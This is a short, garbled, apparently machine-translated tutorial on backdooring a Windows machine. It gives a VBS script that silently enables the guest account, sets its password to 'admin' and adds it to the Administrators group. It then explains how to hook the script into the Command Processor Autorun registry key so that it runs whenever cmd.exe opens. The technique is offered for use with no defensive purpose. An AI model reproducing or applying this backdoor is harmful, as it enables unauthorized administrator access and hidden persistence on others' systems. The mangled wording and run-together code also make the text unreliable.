First create a VBS file content as follows: DIM WSH SET WSH = CreateObject ("wscript.shell") wsh.run "Net user guest /act :yes" ,0wsh.run" net user guest admin ", 0wsh.run" Net localgroup Administrators Guest / Add ", 0
The above VBS means to activate the guest account, and add a senior management group, set the password to admin
Then why don't you use That BAT, continue to look down, find the following keys in the registry:
HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Command Processor / Autorun and / or HKEY_CURRENT_USER / SOFTWARE / Microsoft / Command Processor / Autorun
Enter the path to the VBS in the Autorun button! Such as: D: /AO/fj126.net/id.vbs First look at the introduction of these two locations: If / d is specified on the command line, when cmd.exe runs, it will automatically find the following REG_SZ / REG_EXPAND_SZ Registry variable. If one or both are exist, the two variables will be implemented first. That is, as long as the CMD will run the above script, it can be said that it is CMD association. Then enter the registry, find the above position OK, let's experiment, let's open the CMD, how to activate, if you don't have VBS, do you change to BAT? What is the consequence? Let's take a look at why you don't have to have Bat.